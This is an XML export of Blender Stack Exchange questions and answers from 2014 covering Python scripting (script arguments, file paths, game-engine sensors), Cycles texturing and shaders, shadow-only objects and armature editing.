  <row Id="6817" PostTypeId="1" AcceptedAnswerId="8405" CreationDate="2014-02-06T10:31:08.627" Score="52" ViewCount="26366" Body="&lt;p&gt;Let's say we have a Python script &lt;code&gt;my_script.py&lt;/code&gt; that does some data processing with Blender. This script accepts some arguments (e.g. &lt;code&gt;arg1 arg2&lt;/code&gt;). How can I forward arguments to the script when using it with the CLI?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python my_script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only trick I could find was &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?102282-How-to-give-command-line-arguments-to-blender-python&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;arg1 arg2&quot; &amp;gt; my_input.txt &amp;amp;&amp;amp; blender --background --python my_script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this really the only way to do that?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found a &lt;a href=&quot;https://stackoverflow.com/questions/10667314/python-script-with-arguments-for-command-line-blender&quot;&gt;similar question&lt;/a&gt; on Stack Overflow.&lt;/p&gt;&#xA;" OwnerUserId="2381" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2019-12-22T13:24:24.917" Title="How to pass command line arguments to a Blender Python script?" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="25" ContentLicense="CC BY-SA 3.0" />
  <row Id="6818" PostTypeId="2" ParentId="6796" CreationDate="2014-02-06T10:36:33.030" Score="8" Body="&lt;p&gt;If your computer is unable to render an image (insufficient RAM?) with the train included then it will most likely have the same issue if you try to use it to render the shadows. You may want to render the entire image on another computer that can cope with the entire scene in one go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that can work is to create a low poly mesh for the train, a simple outline of the shape that will cast a visually matching shadow. By rendering the background with the low poly train you can get the ground with shadows and then later composite the train over the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using cycles you can have an object cast shadows and not be visible to the camera by setting the Ray Visibility options, found under object properties. By turning off camera the object will not be visible to the camera but it will still cast shadows and reflections on other objects. If you want to merge this into your materials you can add a Light Path node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1f9ch.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For blender internal the material settings have a similar option called cast only under shadow options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTzTi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In a cycles material you can use the light path node to control the mix amount to get an object that is transparent to the camera but still casts shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7PuuO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using a material is that you can alter the shadows. By using a translucent or glass node instead of diffuse you get softer shadows and the ability to add a colour tint. You may also want to use the original object material so that reflections also look correct.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-02-07T10:33:11.197" LastActivityDate="2014-02-07T10:33:11.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6819" PostTypeId="2" ParentId="6817" CreationDate="2014-02-06T10:47:04.790" Score="4" Body="&lt;p&gt;Another way would be to set environment variables for the arguments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET arg1=val1&#xA;blender -P script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within the script the environment can be queried using os.getenv()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;val = os.getenv('arg1')&#xA;print(val)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-06T10:47:04.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6822" PostTypeId="1" AcceptedAnswerId="6825" CreationDate="2014-02-06T13:24:52.537" Score="1" ViewCount="268" Body="&lt;p&gt;I have a script that works fine on a non-mirrored mesh but produces a different result on a mirrored mesh.  The script emulates the keystroke combination of &quot;s&quot;, &quot;x/y/z&quot;, &quot;0&quot; using the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.resize(value=(0, 1, 1), constraint_axis=(True, False, False), &#xA;    constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', &#xA;    proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(substituting the appropriate values for x/y/z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run this on a normal mesh in wire/solid mode I get the expected results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eNYrV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a mirrored mesh in wired mode I also get the correct result.  However with mirrored and in solid mode I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jQ4q7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving any/all of the vertices immediately redraws the mesh and everything snaps to the correct place.  I have tried changing the &quot;mirror&quot; attribute to &quot;True&quot; and get the same results.  Is there a refresh/redraw option that I'm missing?  I'm sure there is something I'm not getting but I can't seem to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help…&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;@lan&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="809" LastEditorUserId="29" LastEditDate="2014-02-06T13:57:23.800" LastActivityDate="2014-02-06T17:21:00.220" Title="Unexpected result when using transform.resize API" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6825" PostTypeId="2" ParentId="6822" CreationDate="2014-02-06T17:21:00.220" Score="1" Body="&lt;p&gt;So the operator seems to actually do what it is supposed to do, but the view lags behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following call after &lt;code&gt;transform.resize()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should trigger the update. I believe this update is incorrectly missing in the C-operator.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-06T17:21:00.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6826" PostTypeId="2" ParentId="6804" CreationDate="2014-02-06T17:33:48.567" Score="2" Body="&lt;p&gt;If you have a full proposal (detailed design docs), &lt;strike&gt;it should be ok to open a task on &lt;a href=&quot;http://developer.blender.org/&quot; rel=&quot;nofollow&quot;&gt;http://developer.blender.org/&lt;/a&gt; and discuss there&lt;/strike&gt; &lt;em&gt;(staff only!)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can discuss with the community at &lt;a href=&quot;http://blenderartists.org/&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/&lt;/a&gt; to generate ideas, exchange mockups and find to a practical proposal. Then it's time to write it down on a wiki page for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implement the ideas or find someone who does, then submit something working (a patch/diff) to the &lt;a href=&quot;https://developer.blender.org/differential/diff/create/&quot; rel=&quot;nofollow&quot;&gt;tracker&lt;/a&gt;. If there's no one to actually code it, it will likely be considered a feature request and not gain much attention there are just too many and not everyone will agree on a certain solution...&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-06T20:27:04.680" LastActivityDate="2014-02-06T20:27:04.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6827" PostTypeId="1" AcceptedAnswerId="6830" CreationDate="2014-02-06T17:40:38.847" Score="10" ViewCount="5200" Body="&lt;p&gt;Because I am pretty new to blender I watched the tutorial &lt;a href=&quot;http://cgcookie.com/blender/2012/02/29/introduction-texturing-cycles-in-blender/&quot;&gt;Introduction to Texturing with Cycles in Blender&lt;/a&gt; from BlenderCookie.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I loaded &lt;a href=&quot;http://www.cgtextures.com/texview.php?id=45790&amp;amp;PHPSESSID=hm52d6qkqbfs5mnelh7m1fhff0&quot;&gt;this texture&lt;/a&gt; onto a sphere but then in all views the texture is just some kind of blurry with no details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/byCSR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="599" LastEditDate="2014-02-06T19:20:32.150" LastActivityDate="2018-07-12T23:54:52.113" Title="Texture is missing in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6828" PostTypeId="1" CreationDate="2014-02-06T18:20:37.300" Score="0" ViewCount="111" Body="&lt;p&gt;I'm trying to obtain a top view of a upside-down cup, with the camera displaced at an angle from the centre of the cup. However, the depth percept looks weak. I'm not able to tell that the base of the cup is nearer to me than the rim. Any help would be much appreciated. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQjyQ.png&quot; alt=&quot;Top view of upside-down cup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2014-02-07T01:22:06.280" Title="Increase depth percept of upside-down cup" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6830" PostTypeId="2" ParentId="6827" CreationDate="2014-02-06T19:27:34.893" Score="7" Body="&lt;p&gt;The problem is that your texture does not have any mapping defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you can either &lt;em&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/6755/599&quot;&gt;UV unwrap&lt;/a&gt;&lt;/em&gt; your object, or use the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/input/texture_coordinate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Texture coordinates&lt;/em&gt;&lt;/a&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To UV unwrap a UV sphere, all you need to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select your sphere and enter &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt;Sphere projection&lt;/em&gt; &lt;a href=&quot;https://blender.stackexchange.com/q/6758/599&quot;&gt;while in side view&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more info on UV unwrapping, see &lt;a href=&quot;https://blender.stackexchange.com/questions/6755/how-to-properly-unwrap-my-mesh&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sXU7p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also ways to map images without UV unwrapping, such as &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/textures/image.html#properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blended Box Mapping&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1e7lM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Mapping&lt;/em&gt; node is used to scale up the texture.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-07-12T23:54:52.113" LastActivityDate="2018-07-12T23:54:52.113" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6831" PostTypeId="1" AcceptedAnswerId="6832" CreationDate="2014-02-06T19:33:26.870" Score="23" ViewCount="40666" Body="&lt;p&gt;I have blender 2.69 and I've been following a tutorial on how to make text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is when I go to add a glossy shader in the node editor it does not exist. Neither does the shader category.&lt;/p&gt;&#xA;" OwnerUserId="2389" LastEditorUserId="12" LastEditDate="2014-02-06T20:46:18.147" LastActivityDate="2019-07-05T03:07:29.680" Title="Shader nodes are missing?" Tags="&lt;shaders&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6832" PostTypeId="2" ParentId="6831" CreationDate="2014-02-06T19:49:46.180" Score="36" Body="&lt;p&gt;It sounds like your render engine is set to &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/blender_render/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Render&lt;/a&gt;&lt;/em&gt; (also known as &lt;em&gt;Blender Internal&lt;/em&gt; or &lt;em&gt;BI&lt;/em&gt;) in the &lt;em&gt;Info panel&lt;/em&gt; at the top of the window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting it to &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt;&lt;/em&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFwEC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2019-04-19T13:41:35.483" LastActivityDate="2019-04-19T13:41:35.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6834" PostTypeId="2" ParentId="6828" CreationDate="2014-02-07T01:22:06.280" Score="5" Body="&lt;p&gt;Assuming your model geometry is good (I can't really tell from the screenshot), it becomes mainly a lighting, material and environment problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lighting:&lt;/strong&gt;&#xA;If you are going for a photo-realistic look, use Cycles for rendering. It will handle lights and shadows in a more intuitive way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Material:&lt;/strong&gt;&#xA;Is it suppose to be a styrofoam cup? A porcelain cup? Glass? Set up the material for the cup accordingly. Styrofoam would be almost all diffuse, with a Sub-Surface Scatter component. Porcelain would be diffused white, with an added layer of highly glossy top coat. Glass would be, well, the Glass material node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&#xA;If the cup material is reflective at all, you will need to set up the environment so that there is something to reflect off. After all, a mirror ball in a perfectly grey world will only look grey.  Multiple Plane Emitters is a good starting point, they can mimic lights shining through a windows.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-07T01:22:06.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6835" PostTypeId="1" AcceptedAnswerId="7755" CreationDate="2014-02-07T02:59:59.450" Score="11" ViewCount="9376" Body="&lt;p&gt;I am creating an outdoor scene and need to create 3d clouds. What is the best way to go about this in blender cycles. I know you can't use the cloud generator addon since cycles doesn't have support for volumetric shading. Any help is apreciated.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="12" LastEditDate="2014-10-30T21:28:51.523" LastActivityDate="2020-05-20T10:24:12.800" Title="How to create and render clouds in blender cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6836" PostTypeId="1" AcceptedAnswerId="6838" CreationDate="2014-02-07T03:53:53.737" Score="8" ViewCount="3993" Body="&lt;p&gt;I want to edit a mesh of a rotated object in pose mode. &#xA;But when I select a rotated object with edit mode, it is restored to its original condition.&#xA;I want to make an animation process of folding, so I could't press apply button after rotated armature.&#xA;Please give me an advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceWa2.jpg&quot; alt=&quot;before rotating in pose mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kJNpM.jpg&quot; alt=&quot;after rotating in pose mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YWMzD.jpg&quot; alt=&quot;edit mode after rotating&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2017-09-20T23:11:57.330" Title="How to edit a rotated mesh in pose mode" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6838" PostTypeId="2" ParentId="6836" CreationDate="2014-02-07T04:53:11.970" Score="10" Body="&lt;p&gt;Select the armature, go to the &lt;strong&gt;Modifiers&lt;/strong&gt; tab. I think you are looking for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2u5w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some operations (such as loop cut) may not work as expected on deformed edit mesh display, so, be careful when editing.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2017-09-20T23:11:57.330" LastActivityDate="2017-09-20T23:11:57.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6839" PostTypeId="1" CreationDate="2014-02-07T07:42:54.843" Score="2" ViewCount="1578" Body="&lt;p&gt;I am trying to create my own sensor block in Blender's Game Logic to detect a text file being created in my C drive by another program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to perhaps hack an existing sensor or to create a new one in which you can define where the text file is located? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the suggested answer method stated below, but the python code would only run once upon finding the variable in the test.txt file. Any ideas on how to keep the always loop running? Here is some sample code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic as GL #GL=GameLogic&#xA;import os &#xA;import re&#xA;&#xA;# Get the whole bge scene&#xA;scene = bge.logic.getCurrentScene()&#xA;cont = GL.getCurrentController() #access the logic brick that the script is being called from and assign it to a variable&#xA;#logic brick is returned by getCurrentController() -this method is passed to the variable cont&#xA;own = cont.owner #accessing the Armature object that is the owner of the controller&#xA;&#xA;#Sensors - now have access to the controller and to the object that owns it. The next thing to do is to retrieve the necessary sensors&#xA;AlwaysSensor=cont.sensors['Always1'] # sensors assigned meaningfully name variable&#xA;#Actuators -  retrieval of the actuators&#xA;box_action = cont.actuators[&quot;Action1&quot;]&#xA;#Now all the necessary logic brick components are accessible within the script, and the code for the movement itself can begin. &#xA;&#xA;#setting up Action - animations&#xA;box_action.action = 'upMovement'&#xA;box_action.frameStart = 1&#xA;box_action.frameEnd = 24&#xA;box_action.mode = 2 #play modes are represented by integers: 0 represents the Play play mode, 1 represents the Property play mode, 2 represents the Flipper play mode, 3 represents the Loop Stop play mode, and 4 represents the Loop End play mode.&#xA;&#xA;&#xA;print(&quot;writing read charcters&quot;)&#xA;#note text file is in blender file in C drive&#xA;text_file = open(&quot;test.txt&quot;, &quot;r&quot;)#varialbe=parameterOpen(parameterFileName, r read)&#xA;#print (text_file.read(1))#prints the first character '1' in txt file&#xA;var=(text_file.read(1))&#xA;&#xA;print (&quot;var=&quot;, var)&#xA;if (var == &quot;a&quot;):&#xA;#if (text_file.read(1)) == 'h':&#xA;    if AlwaysSensor.positive:&#xA;        cont.activate(box_action)#run upMovement animation&#xA;        print(&quot;a found+animation run&quot;)     &#xA;&#xA;text_file.close() #closes the file once read&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the game logic blocks setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gOviL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2217" LastEditDate="2014-07-29T14:29:48.293" LastActivityDate="2014-07-29T14:29:48.293" Title="Keeping the animation running in a Python script triggered by Always sensor in bge?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6840" PostTypeId="1" CreationDate="2014-02-07T07:58:18.933" Score="0" ViewCount="210" Body="&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/8VddSxa.png&quot; alt=&quot;Snap&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I'm trying to put this object into the opening below it. Is there a quick and easy way to do this? The top model is not rotated exactly correctly to match the opening, although the model is exactly the right size so if it were matching orientation it would fit. I'm looking for a way that I can sort of 'click' the top one into it and it will adjust accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2394" LastEditorUserId="12" LastEditDate="2014-02-17T00:32:35.150" LastActivityDate="2014-02-17T00:32:35.150" Title="How do I snap one object into place with the opening of another object? (See picture)" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6841" PostTypeId="2" ParentId="6839" CreationDate="2014-02-07T09:41:56.183" Score="1" Body="&lt;p&gt;I would connect an always sensor into a python controller to run a python script that tests for the file and handles it accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MqmSc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-07T09:41:56.183" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6842" PostTypeId="1" AcceptedAnswerId="6846" CreationDate="2014-02-07T11:37:56.617" Score="26" ViewCount="19919" Body="&lt;p&gt;What's the best way to get the full directory of the current Blender file in Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be cross-platform.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="55" LastEditDate="2016-05-29T03:02:44.600" LastActivityDate="2018-01-16T13:36:39.467" Title="How to get the directory of open blend file? (from Python)" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6843" PostTypeId="2" ParentId="6842" CreationDate="2014-02-07T12:03:00.820" Score="18" Body="&lt;p&gt;You can use the functions provided by &lt;a href=&quot;http://docs.python.org/3.3/library/os.path.html&quot; rel=&quot;noreferrer&quot;&gt;os.path&lt;/a&gt; for handling pathnames independendly from a platform.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;filepath = bpy.data.filepath&#xA;directory = os.path.dirname(filepath)&#xA;print(directory)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add a file to the basename you could use os.path.join:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newfile_name = os.path.join( directory , &quot;newfile.blend&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-07T12:31:49.527" LastActivityDate="2014-02-07T12:31:49.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6844" PostTypeId="2" ParentId="6817" CreationDate="2014-02-07T14:26:18.580" Score="1" Body="&lt;p&gt;I wrote something for &lt;a href=&quot;https://github.com/CoDEmanX/blend_stats/blob/master/blend_stats.py&quot; rel=&quot;nofollow&quot;&gt;blend_stats&lt;/a&gt;, which you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;# Get script parameters:&#xA;# all list items after the last occurence of &quot;--&quot;&#xA;print()&#xA;print(sys.argv)&#xA;print()&#xA;&#xA;try:&#xA;    args = list(reversed(sys.argv))&#xA;    idx = args.index(&quot;--&quot;)&#xA;&#xA;except ValueError:&#xA;    params = []&#xA;&#xA;else:&#xA;    params = args[:idx][::-1]&#xA;&#xA;print(&quot;Script params:&quot;, params)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender.exe --background test.blend -P ..\blend_stats.py -- foobar script_param_2 1337&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the space between &lt;code&gt;--&lt;/code&gt; and &lt;code&gt;foobar&lt;/code&gt;!&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-07-22T11:38:22.673" LastActivityDate="2015-07-22T11:38:22.673" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6845" PostTypeId="1" CreationDate="2014-02-07T14:50:18.167" Score="4" ViewCount="9659" Body="&lt;p&gt;I'm having trouble with something that's hopefully pretty basic. I just got a windows laptop after using a macbook for a while. I was surprised to find that blender was not acting the same. On my mac, when I do a two-finger scroll, it rotates the view, and when I do shift+two fingers, it pans the view. On my new laptop, it acts like it would with a deskop + a mouse: to rotate I have to click the middle mouse button (in my case, left-click+alt) and move it, and to pan I do this +shift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like an unnecessary number of keys to be pressing when I have scrolling functionality built into the touchpad. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an asus laptop with an elan touchpad, the latest drivers installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!! &lt;/p&gt;&#xA;" OwnerUserId="2396" LastActivityDate="2017-06-08T04:30:21.830" Title="Having trouble panning/rotating with two-fingers on trackpad" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6846" PostTypeId="2" ParentId="6842" CreationDate="2014-02-07T15:11:20.440" Score="28" Body="&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.path.html&quot; rel=&quot;noreferrer&quot;&gt;Path Utilities module&lt;/a&gt; provides &lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.path.html#bpy.path.abspath&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.path.abspath(&quot;//&quot;)&lt;/code&gt;&lt;/a&gt; where the &quot;//&quot; prefix is a Blender specific identifier for the current blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.path.abspath(&quot;//my/file.txt&quot;)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.path.abspath(&quot;//my\\file.txt&quot;)&lt;/code&gt; on &lt;em&gt;Windows&lt;/em&gt;, with backslash escaped&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.path.abspath(r&quot;//my\file.txt&quot;)&lt;/code&gt; on &lt;em&gt;Windows&lt;/em&gt;, using python raw string&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.path.abspath(&quot;//../file.txt&quot;)&lt;/code&gt;  to go back a directory&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is used by all internal paths in blender, image, video, render, pointcache etc - paths. so blend files can reference paths relative to each file.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worth noting that the path may be an &lt;em&gt;empty string&lt;/em&gt;, so you may want to check &lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.types.BlendData.html#bpy.types.BlendData.is_saved&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.data.is_saved&lt;/code&gt;&lt;/a&gt; first. &lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="3710" LastEditDate="2018-01-16T13:36:39.467" LastActivityDate="2018-01-16T13:36:39.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
